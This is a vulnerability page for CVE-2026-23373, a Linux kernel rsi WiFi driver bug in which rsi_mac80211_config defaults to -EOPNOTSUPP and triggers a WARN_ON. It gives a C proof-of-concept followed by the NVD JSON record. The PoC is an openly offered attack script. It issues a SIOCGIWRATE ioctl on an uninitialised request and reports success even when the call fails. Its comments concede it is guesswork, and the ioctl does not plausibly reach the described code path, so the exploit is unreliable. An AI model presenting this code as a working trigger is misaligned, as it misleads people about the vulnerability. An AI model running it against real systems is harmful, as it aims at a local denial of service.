CVE-2026-23373

/* * PoC for CVE-2026-23373 * This concept demonstrates triggering the configuration path in the RSI driver. * Requires a system with the vulnerable RSI WiFi hardware and driver loaded. * Compilation: gcc -o poc_cve2026_23373 poc_cve2026_23373.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/wireless.h> int main() { int sock; struct iwreq wrq; char ifname[] = "wlan0"; // Replace with actual interface name // Create a socket for ioctl communication sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // Prepare the request structure strncpy(wrq.ifr_name, ifname, IFNAMSIZ); /* * Attempt to trigger the config path. * Sending a generic or unsupported configuration command * may hit the default return -EOPNOTSUPP case in rsi_mac80211_config. * This is a simplified trigger; specific hardware interaction might be needed. */ // Example: Trying to set a parameter that might fall through to default case // Note: Actual trigger depends on specific driver implementation details. if (ioctl(sock, SIOCGIWRATE, &wrq) < 0) { perror("ioctl"); // Depending on system config, this might trigger the WARN_ON path printf("[+] Potential trigger sent to %s\n", ifname); } else { printf("[+] ioctl executed\n"); } close(sock); return 0; }

{"cve": {"id": "CVE-2026-23373", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:36.940", "lastModified": "2026-04-24T16:35:27.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rsi: Don't default to -EOPNOTSUPP in rsi_mac80211_config\n\nThis triggers a WARN_ON in ieee80211_hw_conf_init and isn't the expected\nbehavior from the driver - other drivers default to 0 too."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nwifi: rsi: No usar -EOPNOTSUPP por defecto en rsi_mac80211_config\n\nEsto activa un WARN_ON en ieee80211_hw_conf_init y no es el comportamiento esperado del controlador - otros controladores también usan 0 por defecto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9.1", "versionEndExcluding": "6.12.77", "matchCriteriaId": "6BF58074-7CF5-43A3-A4ED-82674E37A312"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.9:-:*:*:*:*:*:*", "matchCriteriaId": "3F2A4A3D-068A-4CF2-A09F-9C7937DDB0A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/67d10e8db57ffc21f8177e9e884bbc743fdc0bae", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/95ed07644b2c6119f706484b87b7f43e6133f3b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b64fbd718cf42feb75502bf25d0d16eb671aea45", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d973b1039ccde6b241b438d53297edce4de45b5c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}